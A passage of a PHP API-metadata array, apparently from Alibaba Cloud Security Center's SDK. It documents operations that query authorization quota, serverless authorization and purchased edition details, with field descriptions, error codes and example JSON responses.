[ 'description' => 'Indicates whether the protection quota is supported for all assets. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AllowPartialBuy' => [ 'description' => 'Indicates whether you can purchase protection quota on demand when you purchase Security Center. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AllowUpgradePartialBuy' => [ 'description' => 'Indicates whether you can purchase protection quota on demand after an upgrade. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'HasPreBindSetting' => [ 'description' => 'Indicates whether pre-bound assets exist. If you select assets to bind when you purchase Security Center, pre-bound assets exist. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'boolean', 'example' => '1', ], 'IsMultiVersion' => [ 'description' => 'Indicates whether Security Center Multi-edition is purchased. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AutoBind' => [ 'description' => 'Indicates whether automatic binding is enabled. Valid values:'."\n" ."\n" .'* **0**: disabled'."\n" .'* **1**: enabled'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'HighestVersion' => [ 'description' => 'The most advanced edition that is used. Valid values:'."\n" ."\n" .'* **1**: Basic edition'."\n" .'* **3**: Enterprise edition'."\n" .'* **5**: Advanced edition'."\n" .'* **6**: Anti-virus edition'."\n" .'* **7**: Ultimate edition'."\n" .'* **10**: Value-added Plan edition'."\n" ."\n" .'> If you purchase Security Center Multi-edition, the value indicates the most advanced edition that is used. Otherwise, the value indicates the specific edition that is purchased.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Machine' => [ 'description' => 'The statistics of the protection quota for assets.'."\n", 'type' => 'object', 'properties' => [ 'RiskCoreCount' => [ 'description' => 'The number of cores of the assets that are at risk.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'BindCoreCount' => [ 'description' => 'The number of cores of the assets that are bound to Security Center.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalEcsCount' => [ 'description' => 'The total number of assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'BindEcsCount' => [ 'description' => 'The number of the assets that are bound to Security Center.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCoreCount' => [ 'description' => 'The total number of asset cores.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'RiskEcsCount' => [ 'description' => 'The number of the assets that are at risk.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'UnBindEcsCount' => [ 'description' => 'The number of unbound assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'UnBindCoreCount' => [ 'description' => 'The number of cores of unbound assets.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'PostPaidBindCoreCount' => [ 'description' => 'Bind the number of cores for postpaid authorization assets.', 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'PostPaidBindEcsCount' => [ 'description' => 'The number of assets bound to the postpaid authorization.', 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], 'VersionSummary' => [ 'description' => 'The quota consumption statistics.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The quota consumption statistics'."\n", 'type' => 'object', 'properties' => [ 'Index' => [ 'description' => 'The index of the current edition. The smaller the value, the higher the edition. The index is used for sorting.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Version' => [ 'description' => 'The edition of purchased Security Center. Valid values:'."\n" ."\n" .'* **1**: Basic edition'."\n" .'* **3**: Enterprise edition'."\n" .'* **5**: Advanced edition'."\n" .'* **6**: Anti-virus edition'."\n" .'* **7**: Ultimate edition'."\n" .'* **8**: Multi-edition'."\n" .'* **10**: Value-added Plan edition'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'UsedCoreCount' => [ 'description' => 'The consumed quota of server cores.'."\n" ."\n" .'> This parameter takes effect only if AuthBindType is set to CORE or ASSET_AND_CORE.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'UnUsedCount' => [ 'description' => 'The remaining quota of servers.'."\n" ."\n" .'> This parameter takes effect only if AuthBindType is set to ASSET or ASSET_AND_CORE.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'UsedEcsCount' => [ 'description' => 'The used quota of servers.'."\n" ."\n" .'> This parameter takes effect only if AuthBindType is set to ASSET or ASSET_AND_CORE.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCount' => [ 'description' => 'The total quota of servers in the current edition.'."\n" ."\n" .'> This parameter takes effect only if AuthBindType is set to ASSET or ASSET_AND_CORE.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalEcsAuthCount' => [ 'description' => 'The total quota of servers.'."\n" ."\n" .'> This parameter takes effect only if AuthBindType is set to ASSET or ASSET_AND_CORE.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalCoreAuthCount' => [ 'description' => 'The total quota of server cores.'."\n" ."\n" .'> This parameter takes effect only if AuthBindType is set to CORE or ASSET_AND_CORE.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'UnusedEcsAuthCount' => [ 'description' => 'The remaining quota of servers.'."\n" ."\n" .'> This parameter takes effect only if AuthBindType is set to ASSET or ASSET_AND_CORE.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'UnusedCoreAuthCount' => [ 'description' => 'The remaining quota of server cores.'."\n" ."\n" .'> This parameter takes effect only if AuthBindType is set to CORE or ASSET_AND_CORE.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'AuthBindType' => [ 'description' => 'The type of the quota that is consumed. Valid values:'."\n" ."\n" .'* ASSET: quota of servers.'."\n" .'* CORE: quota of server cores.'."\n" .'* ASSET_AND_CORE: both.'."\n", 'type' => 'string', 'example' => 'ASSET', ], ], ], ], 'AllowUserUnbind' => [ 'description' => 'Indicates whether all bound assets can be immediately unbound. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PostPaidVersionSummary' => [ 'description' => 'Statistics on pay-as-you-go service authorization for host and container security.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'AuthBindType' => [ 'description' => 'The type of authorization consumed during binding, with values: - **ASSET**: Consumes the number of authorized devices - **CORE**: Consumes the number of authorized cores - **ASSET_AND_CORE**: Consumes both the number of authorized devices and cores.', 'type' => 'string', 'example' => 'ASSET', ], 'Version' => [ 'description' => 'Bound host assets with postpaid versions, values: - **1**: Free version - **3**: Enterprise version - **5**: Advanced version - **6**: Anti-virus version - **7**: Flagship version', 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'Index' => [ 'description' => 'Current version index, the higher the number, the newer the version, used for sorting. Values: - **1**: Free Edition - **2**: Anti-virus Edition - **3**: Advanced Edition - **4**: Enterprise Edition - **5**: Flagship Edition', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'UsedCoreCount' => [ 'description' => 'Number of authorized cores used. > This parameter is valid when AuthBindType is set to CORE or ASSET_AND_CORE.', 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], 'UsedEcsCount' => [ 'description' => 'Number of authorized devices used. > This parameter is valid when AuthBindType is ASSET or ASSET_AND_CORE.', 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], ], ], ], 'PostPaidHostAutoBind' => [ 'description' => 'The pay-as-you-go service for host and container security adds an automatic binding identifier for new hosts, with values: - **0**: Off - **1**: On', 'type' => 'string', 'example' => '1', ], 'PostPaidHostAutoBindVersion' => [ 'description' => 'The version for the pay-as-you-go service of host and container security to automatically bind new assets, with values: - **1**: Free Edition - **3**: Enterprise Edition - **5**: Advanced Edition - **6**: Antivirus Edition - **7**: Flagship Edition', 'type' => 'string', 'example' => '7', ], 'PostPaidHighestVersion' => [ 'description' => 'Activate the pay-as-you-go service protection version for hosts and container security, which is the highest protection version among all bound hosts. Values: - **1**: Free Edition - **3**: Enterprise Edition - **5**: Advanced Edition - **6**: Antivirus Edition - **7**: Flagship Edition', 'type' => 'string', 'example' => '7', ], 'InvalidBindStatus' => [ 'type' => 'string', 'description' => 'Binding effective status, value:'."\n" ."\n" .'- **NORMAL** : Effective'."\n" ."\n" .'- **INVALID_NODE_VERSION**: Invalid', 'example' => 'Effective', ], 'ClusterNodeCheck' => [ 'type' => 'integer', 'format' => 'int32', 'description' => 'Cluster node need to check the machine version, Value:'."\n" ."\n" .'- **0** : Not required'."\n" ."\n" .'- **1** : Required', 'example' => 'Required', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-***-B9270EF46038\\",\\n \\"DefaultAuthToAll\\": 1,\\n \\"AllowPartialBuy\\": 1,\\n \\"AllowUpgradePartialBuy\\": 1,\\n \\"HasPreBindSetting\\": true,\\n \\"IsMultiVersion\\": 1,\\n \\"AutoBind\\": 1,\\n \\"HighestVersion\\": 1,\\n \\"Machine\\": {\\n \\"RiskCoreCount\\": 10,\\n \\"BindCoreCount\\": 10,\\n \\"TotalEcsCount\\": 10,\\n \\"BindEcsCount\\": 10,\\n \\"TotalCoreCount\\": 10,\\n \\"RiskEcsCount\\": 10,\\n \\"UnBindEcsCount\\": 10,\\n \\"UnBindCoreCount\\": 10,\\n \\"PostPaidBindCoreCount\\": 10,\\n \\"PostPaidBindEcsCount\\": 10\\n },\\n \\"VersionSummary\\": [\\n {\\n \\"Index\\": 1,\\n \\"Version\\": 3,\\n \\"UsedCoreCount\\": 10,\\n \\"UnUsedCount\\": 10,\\n \\"UsedEcsCount\\": 10,\\n \\"TotalCount\\": 10,\\n \\"TotalEcsAuthCount\\": 10,\\n \\"TotalCoreAuthCount\\": 10,\\n \\"UnusedEcsAuthCount\\": 10,\\n \\"UnusedCoreAuthCount\\": 10,\\n \\"AuthBindType\\": \\"ASSET\\"\\n }\\n ],\\n \\"AllowUserUnbind\\": 1,\\n \\"PostPaidVersionSummary\\": [\\n {\\n \\"AuthBindType\\": \\"ASSET\\",\\n \\"Version\\": 3,\\n \\"Index\\": 1,\\n \\"UsedCoreCount\\": 10,\\n \\"UsedEcsCount\\": 10\\n }\\n ],\\n \\"PostPaidHostAutoBind\\": \\"1\\",\\n \\"PostPaidHostAutoBindVersion\\": \\"7\\",\\n \\"PostPaidHighestVersion\\": \\"7\\",\\n \\"InvalidBindStatus\\": \\"INVALID_NODE_VERSION\\",\\n \\"ClusterNodeCheck\\": 1\\n}","type":"json"}]', 'title' => 'GetAuthSummary', 'translator' => 'machine', ], 'GetServerlessAuthSummary' => [ 'summary' => 'Get Serverless Authorization Overview', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '227930', 'abilityTreeNodes' => [ 'FEATUREsasA217JR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'VendorType', 'in' => 'query', 'schema' => [ 'title' => '渠道标识：SAE/PAI/ASK', 'description' => 'Cloud product: '."\n" .'- **ASK**'."\n" .'- **SAE**'."\n" .'- **ACS**', 'type' => 'string', 'required' => false, 'example' => 'SAE', ], ], [ 'name' => 'MachineType', 'in' => 'query', 'schema' => [ 'title' => '机器类型:RunD/ECI', 'description' => 'Server type: '."\n" .'- **RunD**'."\n" .'- **ECI**', 'type' => 'string', 'required' => false, 'example' => 'RunD', ], ], [ 'name' => 'AppRegionId', 'in' => 'query', 'schema' => [ 'title' => '区域id', 'description' => 'Application region ID.', 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult', 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Returned data details.', 'type' => 'object', 'properties' => [ 'IsPostPaid' => [ 'title' => '是后支付', 'description' => 'Whether it is a post-paid instance. Values: '."\n" ."\n" .'- **true**: Yes'."\n" .'- **false**: No', 'type' => 'boolean', 'example' => 'true', ], 'PostPaidModuleSwitch' => [ 'title' => '后支付单元转换', 'description' => 'Pay-as-you-go module switch. Values: '."\n" ."\n" .'- **VUL**: Vulnerability Repair Module'."\n" .'- **CSPM**: Cloud Security Posture Management Module'."\n" .'- **AGENTLESS**: Agentless Detection Module'."\n" .'- **SERVERLESS**: Serverless Security Module'."\n" .'- **CTDR**: Threat Analysis and Response Module', 'type' => 'string', 'example' => 'SERVERLESS', ], 'PostpaidInstanceId' => [ 'title' => '后付费实例id', 'description' => 'Post-paid instance ID.', 'type' => 'string', 'example' => 'sas-postpay-**', ], 'PostPaidOpenTime' => [ 'title' => '后支付开启时间', 'description' => 'Post-paid activation time. Unit: milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1655432638000', ], 'PostPaidStatus' => [ 'title' => '后支付状态', 'description' => 'Post-paid instance status. Values: '."\n" .'- **1**: Active'."\n" .'- **2**: Suspended due to unpaid bills', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'IsServerlessPostPaidValid' => [ 'title' => 'serverless后支付状态', 'description' => 'Serverless post-paid status. Values: '."\n" .'- **true**: Active'."\n" .'- **false**: Expired', 'type' => 'boolean', 'example' => 'true', ], 'TotalBindAppCount' => [ 'title' => '绑定应用程序总数', 'description' => 'Total number of bound applications.', 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'TotalUnBindAppCount' => [ 'title' => '未绑定应用程序总数', 'description' => 'Total number of unbound applications.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TotalBindInstanceCount' => [ 'title' => '绑定实例总数', 'description' => 'Total number of bound instances.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TotalUnBindInstanceCount' => [ 'title' => '未绑定实例总数', 'description' => 'Total number of unbound instances.', 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'TotalBindCoreCount' => [ 'title' => '绑定核心总数', 'description' => 'Total number of bound cores.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TotalUnBindCoreCount' => [ 'title' => '未绑定核心总数', 'description' => 'Total number of unbound cores.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RegionId' => [ 'title' => '区域id', 'description' => 'Region ID.', 'type' => 'string', 'example' => 'cn-hangzhou', ], 'AutoBind' => [ 'description' => 'Enable auto-binding. Values: '."\n" ."\n" .'- **0**: Disabled'."\n" .'- **1**: Enabled', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'HasPreBindSetting' => [ 'description' => 'Indicates whether there is a pre-bound asset configuration. Pre-binding refers to the asset binding configuration selected in advance at the time of purchase. The values are: - **0**: No - **1**: Yes', 'type' => 'boolean', 'example' => '1', ], ], ], 'Success' => [ 'description' => 'Indicates whether the API call was successful. Values:'."\n" .'- **true**: Success'."\n" .'- **false**: Failure', 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of this request, which is a unique identifier generated by Alibaba Cloud for this request. It can be used to troubleshoot and locate issues.', 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"IsPostPaid\\": true,\\n \\"PostPaidModuleSwitch\\": \\"SERVERLESS\\",\\n \\"PostpaidInstanceId\\": \\"sas-postpay-**\\",\\n \\"PostPaidOpenTime\\": 1655432638000,\\n \\"PostPaidStatus\\": 1,\\n \\"IsServerlessPostPaidValid\\": true,\\n \\"TotalBindAppCount\\": 10,\\n \\"TotalUnBindAppCount\\": 1,\\n \\"TotalBindInstanceCount\\": 1,\\n \\"TotalUnBindInstanceCount\\": 2,\\n \\"TotalBindCoreCount\\": 1,\\n \\"TotalUnBindCoreCount\\": 1,\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"AutoBind\\": 1,\\n \\"HasPreBindSetting\\": true\\n },\\n \\"Success\\": true,\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\"\\n}","type":"json"}]', 'title' => 'Get Serverless Authorization Overview', 'translator' => 'machine', ], 'GetServerlessAppAuthDetail' => [ 'summary' => 'Get Serverless Application Authorization Details', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '227933', 'abilityTreeNodes' => [ 'FEATUREsasA217JR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'VendorType', 'in' => 'query', 'schema' => [ 'title' => '渠道标识：SAE/PAI/ASK', 'description' => 'Cloud product: '."\n" .'- **ASK**'."\n" .'- **SAE**'."\n" .'- **ACS**', 'type' => 'string', 'required' => false, 'example' => 'SAE', ], ], [ 'name' => 'MachineType', 'in' => 'query', 'schema' => [ 'title' => '机器类型:RunD/ECI', 'description' => 'Server type: '."\n" .'- **RunD**'."\n" .'- **ECI**', 'type' => 'string', 'required' => false, 'example' => 'RunD', ], ], [ 'name' => 'AppId', 'in' => 'query', 'schema' => [ 'title' => 'appId', 'description' => 'SAE application ID.'."\n" ."\n" .'> Obtain through the [ListMachineApps](~~ListMachineApps~~) interface.', 'type' => 'string', 'required' => false, 'example' => '3de9f2ac-f***769226df'."\n", ], ], [ 'name' => 'AppRegionId', 'in' => 'query', 'schema' => [ 'description' => 'Application region ID.', 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult', 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'Data details.', 'type' => 'object', 'properties' => [ 'IsPostPaid' => [ 'title' => '是后支付', 'description' => 'Whether it is a post-paid instance. Values: '."\n" ."\n" .'- **true**: Yes'."\n" .'- **false**: No', 'type' => 'boolean', 'example' => 'true', ], 'PostPaidModuleSwitch' => [ 'title' => '后支付单元转换', 'description' => 'Pay-as-you-go module switch. Values: '."\n" ."\n" .'- **VUL**: Vulnerability repair module'."\n" .'- **CSPM**: Cloud Security Posture Management module'."\n" .'- **AGENTLESS**: Agentless detection module'."\n" .'- **SERVERLESS**: Serverless security module'."\n" .'- **CTDR**: Threat Detection and Response module', 'type' => 'string', 'example' => 'SERVERLESS', ], 'PostpaidInstanceId' => [ 'title' => '后付费实例id', 'description' => 'Post-paid instance ID.', 'type' => 'string', 'example' => '101', ], 'PostPaidOpenTime' => [ 'title' => '后支付开启时间', 'description' => 'Post-paid activation time.', 'type' => 'integer', 'format' => 'int64', 'example' => '1655432638000', ], 'PostPaidStatus' => [ 'title' => '后支付状态', 'description' => 'Post-paid instance status. Values: '."\n" .'- **1**: Active'."\n" .'- **2**: Suspended due to unpaid bills', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'IsServerlessPostPaidValid' => [ 'title' => 'serverless后支付状态', 'description' => 'Serverless post-paid status. Values: '."\n" .'- **true**: Active'."\n" .'- **false**: Expired', 'type' => 'boolean', 'example' => 'true', ], 'AppId' => [ 'description' => 'Application ID.', 'type' => 'string', 'example' => 'c932b7a0***', ], 'InstanceCount' => [ 'description' => 'Number of instances.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'CoreCount' => [ 'description' => 'Number of CPU cores.', 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'IsBind' => [ 'description' => 'Whether authorization is bound. Values: '."\n" ."\n" .'- **true**: Yes'."\n" .'- **false**: No', 'type' => 'boolean', 'example' => 'true', ], ], ], 'Success' => [ 'description' => 'Whether the API call was successful. Values: '."\n" .'- **true**: Success'."\n" .'- **false**: Failure', 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of this call request, a unique identifier generated by Alibaba Cloud for the request, which can be used to troubleshoot and pinpoint issues.', 'type' => 'string', 'example' => '30CBF632-109F-596F-97F2-451C8B2A****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"IsPostPaid\\": true,\\n \\"PostPaidModuleSwitch\\": \\"SERVERLESS\\",\\n \\"PostpaidInstanceId\\": \\"101\\",\\n \\"PostPaidOpenTime\\": 1655432638000,\\n \\"PostPaidStatus\\": 1,\\n \\"IsServerlessPostPaidValid\\": true,\\n \\"AppId\\": \\"c932b7a0***\\",\\n \\"InstanceCount\\": 1,\\n \\"CoreCount\\": 2,\\n \\"IsBind\\": true\\n },\\n \\"Success\\": true,\\n \\"RequestId\\": \\"30CBF632-109F-596F-97F2-451C8B2A****\\"\\n}","type":"json"}]', 'title' => 'Get Serverless Application Authorization Details', 'translator' => 'machine', ], 'DescribeVersionConfig' => [ 'summary' => 'Queries the details about the edition of purchased Security Center.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92237', 'abilityTreeNodes' => [ 'FEATUREsasJODUMM', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.0.XX.XX', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the Alibaba Cloud account that uses Security Center.'."\n" ."\n" .'> You can call the [GetUser](~~28681~~) operation to query the IDs of Alibaba Cloud accounts.'."\n", 'type' => 'integer', 'required' => false, 'example' => '127608589417****', 'format' => 'int64', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'MVAuthCount' => [ 'description' => 'The total quota in the Multi-version edition of purchased Security Center.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '5000', ], 'SasLog' => [ 'description' => 'Indicates whether log analysis is purchased. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'SasScreen' => [ 'description' => 'Indicates whether the security screen feature is purchased. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'HoneypotCapacity' => [ 'description' => 'The purchased quota for the cloud honeypot feature.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '20', ], 'MVUnusedAuthCount' => [ 'description' => 'The total remaining quota in the Multi-version edition of purchased Security Center.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '40', ], 'WebLock' => [ 'description' => 'Indicates whether the web tamper proofing feature is enabled. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'AppWhiteListAuthCount' => [ 'description' => 'The quota for the application whitelist feature.'."\n" ."\n" .'> The quantity of servers that are allowed by the quota is deducted by one each time you apply an application whitelist to a server. After you enable the application whitelist feature, the quota is 20 by default.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '20', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'C2DC96D2-DD2E-49D9-A28E-85590475DF55', ], 'LastTrailEndTime' => [ 'description' => 'The timestamp when the last trial of Security Center ends. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1603934844000', ], 'Version' => [ 'description' => 'The edition of purchased Security Center. Valid values:'."\n" ."\n" .'* **1**: Basic edition'."\n" .'* **3**: Enterprise edition'."\n" .'* **5**: Advanced edition'."\n" .'* **6**: Anti-virus edition'."\n" .'* **7**: Ultimate edition'."\n" .'* **8**: Multi-version edition'."\n" .'* **10**: Value-added Plan edition'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'WebLockAuthCount' => [ 'description' => 'The quota for the web tamper proofing feature. The quantity of servers that are allowed by the quota is deducted by one each time a server is protected by the web tamper proofing feature. Valid values: 0 to N.'."\n" ."\n" .'> N indicates the number of servers that you own.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '0', ], 'ReleaseTime' => [ 'description' => 'The timestamp when the Security Center subscription ends. Unit: milliseconds.'."\n" ."\n" .'> If you do not renew the subscription within seven days after the expiration date, Security Center of a paid edition is automatically downgraded to Security Center Basic. In this case, you can no longer use the features of the paid edition or view the existing configurations or statistics such as DDoS alerts in Security Center. You must purchase Security Center of a paid edition to use relevant features. For more information, see [Purchase Security Center](~~42308~~).'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1625846400000', ], 'HighestVersion' => [ 'description' => 'The most advanced edition that is used. Valid values:'."\n" ."\n" .'* **1**: Basic edition'."\n" .'* **3**: Enterprise edition'."\n" .'* **5**: Advanced edition'."\n" .'* **6**: Anti-virus edition'."\n" .'* **7**: Ultimate edition'."\n" .'* **10**: Value-added Plan edition'."\n" ."\n" .'> If you purchase the Multi-version edition of Security Center, the value indicates the most advanced edition that is used in the Multi-version edition. If you do not purchase the Multi-version edition of Security Center, the value indicates the edition of Security Center.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AssetLevel' => [ 'description' => 'The quota for servers that can be protected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'IsOverBalance' => [ 'description' => 'Indicates whether the number of existing servers exceeds the purchased quota. Valid values:'."\n" ."\n" .'* **false**: no'."\n" .'* **true**: yes'."\n" .'>This parameter is deprecated. You can ignore it.>', 'type' => 'boolean', 'example' => 'false', ], 'InstanceId' => [ 'description' => 'The ID of purchased Security Center.'."\n", 'type' => 'string', 'example' => 'sas-vg6hafdsafs****', ], 'SlsCapacity' => [ 'description' => 'The log storage capacity that you purchase. Unit: GB. Valid values: 0 to 200000.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '10240', ], 'VmCores' => [ 'description' => 'The quota for the cores of servers that can be protected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'AllowPartialBuy' => [ 'description' => 'Indicates whether the pay-as-you-go billing method is supported.'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'AppWhiteList' => [ 'description' => 'Indicates whether the application whitelist feature is enabled. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **2**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'ImageScanCapacity' => [ 'description' => 'The purchased quota for the container image scan feature.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '8954', ], 'IsTrialVersion' => [ 'description' => 'Indicates whether Security Center runs the free trial edition. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **1**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'UserDefinedAlarms' => [ 'description' => 'Indicates whether the custom alert feature is enabled. Valid values:'."\n" ."\n" .'* **0**: no'."\n" .'* **2**: yes'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'OpenTime' => [ 'description' => 'The timestamp when Security Center is purchased. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1657244824669', ], 'IsNewContainerVersion' => [ 'description' => 'Indicates whether Security Center runs the latest version of the Ultimate edition.'."\n" ."\n" .'* **true**: yes'."\n" .'* **false**: no'."\n", 'type' => 'boolean', 'example' => 'true', ], 'IsNewMultiVersion' => [ 'description' => 'Indicates whether Security Center runs the latest version of the Multi-version edition. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'ThreatAnalysisCapacity' => [ 'description' => 'The purchased log storage capacity for threat analysis. Unit: GB.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '25', ], 'CspmCapacity' => [ 'description' => 'The purchased quota for configuration assessment. Unit: times/month.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], 'VulFixCapacity' => [ 'description' => 'The purchased quota for vulnerability fixing. Unit: times/month.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], 'RaspCapacity' => [ 'description' => 'The purchased quota for application protection. Unit: process/month.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], 'AgentlessCapacity' => [ 'description' => 'The quota for agentless detection.'."\n" ."\n" .'> The agentless detection feature is unavailable for purchase. You can ignore this parameter.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '10', ], 'IsPostpay' => [ 'description' => 